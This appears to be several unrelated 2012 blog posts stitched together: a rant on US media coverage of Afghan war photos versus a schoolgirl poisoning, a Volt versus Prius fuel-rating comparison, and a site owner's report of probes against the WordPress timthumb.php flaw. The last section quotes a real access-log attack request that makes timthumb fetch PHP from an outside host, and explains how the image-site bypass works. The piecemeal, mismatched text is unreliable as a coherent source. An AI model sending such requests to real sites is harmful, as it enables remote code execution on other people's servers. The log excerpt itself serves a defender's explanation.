But what does that mean and what should the price be today?

My outrage on this topic is reflective of my general attitude towards main stream US media today. With both of these stories happening at the same time I see them as an example of how out of touch the US news reporting has become.

Here we have two stories. One is a story that shows what it is like in Afghanistan for innocent people trying to get an education and nearly be killed for it which should outrage us. The other is a story is mostly irrelevant to us. It might outrage a few enemy, but it is portrayed with all the outrage you would expect for a serial pedophile.

Starting with the dead bodies.

The incident uncovered is two years old. A small detail not included in many stories. The photos are of dead terrorists. Who cares? We’re at war with them and have been for 11 years. These are the people our soldiers are trying to kill. A few num-nuts might go to the street and burn something in a staged burst of outrage, but they’d likely do that if a goat pooped in their yard as well. Will it strain relations? How much more strain beyond “we’re at war trying to kill you” can you get?

Instead of reporting this as a major international incident and get all indignant about it and wanting those “offending soldiers” be brought to justice, show a little perspective and get over it. It’s war, not a social tea party. It’s brutal, boring, hot, despicable and not pleasant for anyone. Report that a few soldiers may have had a lapse by taking the photos, and should be lectured on not to do that again, but then move on to perhaps a more relevant story, like….

Afghan Authorities Eye Taliban In Suspected Girls School Poisoning

Officials in Afghanistan’s northeastern province of Takhar believe the Taliban was responsible for the suspected poisoning this week of more than 140 schoolgirls and their female teachers.

This story should not only provoke outrage but it also shows one reason why we are at war there. Yet finding this story in the major media is difficult, specially as it falls well below the lead story about the pictures.

Why?

Is the outrage felt by most of the western world over the attempted poisoning of 140 girls for attempting to get an education irrelevant compared to the perceived outrage over a soldiers’ picture of dead enemy combatants?

I guess it is. As of 04/18/2012:

• Photo outrage news articles on Google at this time: 1,147
• Attempting to kill 140 girls for getting an education: 183

That’s what I’d be outraged at. That and the fact that this has happened before. Many times.

• 2010: Afghan girls fall ill in suspected gas attack

• 2009: 84 Afghan schoolgirls fall ill from gas attack

Perhaps the media outside the US has a more balanced view of these incidents, but I personally got tired of the wall-to-wall photo story on all the major US news outlets and switched them off. IMHO it wasn’t fair, it wasn’t balanced, it wasn’t relevant.

So I made a calculator that can show me the differences. It also shows a few sample cars using gas only and an all electric Leaf for comparison.

Click here to view in a new tab

Using both high-end versions for each ($46K for Volt and $40K for Prius before government incentives) I found they are similar in cost for what they offer.

Each as well is rated at the effective fuel rate of 95mpge.

But what does 95mpge mean?

Basically, put 1 gallon of gas in the car and drive until empty then drive the rest on 100% electricity.

Easy enough.

Prius gets 50mpg on gas.
Volt gets 35mpg on gas.

With 1 gallon, their respective positions are

Prius drives 50 miles
Volt drives 35 miles.

But the goal is 95 miles estimated using that 1 gallon of gas and supplementing the rest with electricity.

Thus the Prius has 45 miles to go and the Volt has 60 miles to go on electricity after exhausting the 1 gallon of gas.

So now we compare the two using electricity. The Volt can travel 35 miles on a charge but the Prius can only travel 11 miles on a single charge.

For a typical user we have basically 2 scenarios.

Scenario 1: can only charge at home

In this scenario the Volt travels an additional 35 miles on the same day it used the gas making its day 1 total 70 miles. Day 2 it travelled only 25 miles on electricity and acheived the 95 mpge.

The Prius travelled 11 miles on the first day putting it at 61 miles total. Then with 1 charge per day, it then takes 3 more days of 11 miles each to reach the 95 mpge limit.

Total time taken: Volt 2 days, Prius 4 days.

Same mileage, same amount of fuel, definitely not the same time.

Scenario 2: can charge at home and at work thus getting 2 charges in a single day.

In this scenario the Volt now gets to travel 70 miles on electricity in one day thus taking 1 day to reach the 95 mpge level.

The Prius can now travel 22 miles per day on electricity.

Thus the Prius after day 1 has traveled 72 miles, but it still needs another day to reach 95mpge. Again it takes the Prius twice as long to reach the same goal as the Volt.

So who wins? It depends. The actual fuel usage depends upon how you use the vehicle. Really short commutes is a tie. Average daily commutes in the range of 30 miles favors the Volt. Long range driving of over 70 miles and further with no recharge favors the Prius. So basically, Prius only wins if using long range commutes. Locally in the Bay area it means if you live in Morgan Hill you get a Prius, but if you live in San Jose you get a Volt.

I myself commute 32 miles round trip. On that route the Volt appears to win hands down.

In conclusion what does this mean? I believe it shows mostly that the 95mpge rating is not too meaningful when comparing apples to oranges, but at least it is better than nothing.

A typical entry looks like (and yes, that is their real IP address from Spain):

access_log-20120401:178.32.158.69 – - [26/Mar/2012:15:38:42 -0700] “GET /wp-content/plugins/islidex/js/timthumb.php/?src=http:
//picasa.com.zlinkerparts.com/yahoo.php HTTP/1.1″ 200 31422 “-”
“Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6″

The exploit, initially discovered August 2011, was found to affect roughly 1.2 million WordPress sites. Since then the weakness has been fixed by the plugin authors, but it apparently does not stop morons from still trying to access the old vulnerable version 8 months later.

The original vulnerability relied upon using the timthumb.php vulnerability of allowing php script insertion if part of the URL string included allowed image sites such as picasa.com or flickr.com. Notice from the quoted attack above upon my system that picasa.com was part of the submitted URL string.

I find this interesting since the script kiddie attacks appear to be just now starting to probe for this vulnerability. Of course there have been a few queries for the plugin over the past few months, but the large-scale probing for the exploit really only started last week. That’s 8 months after it was first discovered.

But the current version of the plugin fixes the issue for those that use timthumb.php, plus there is also a scanner for WordPress that can detect the presence of the vulnerability.

Yet still the brute force script kiddie attacks only just now started to hunt for the exploit.

A little late to the party IMHO – but should I have expected anything different from script kiddies? I guess not.